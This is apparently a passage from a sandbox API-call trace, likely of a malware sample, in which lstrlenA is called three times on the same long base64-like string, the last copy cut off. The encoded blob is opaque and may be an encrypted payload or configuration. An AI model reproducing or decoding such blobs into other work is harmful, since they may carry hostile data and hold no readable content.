(lpString="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") returned 5792 [0128.354] lstrlenA (lpString="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") returned 5792 [0128.354] lstrlenA (lpString="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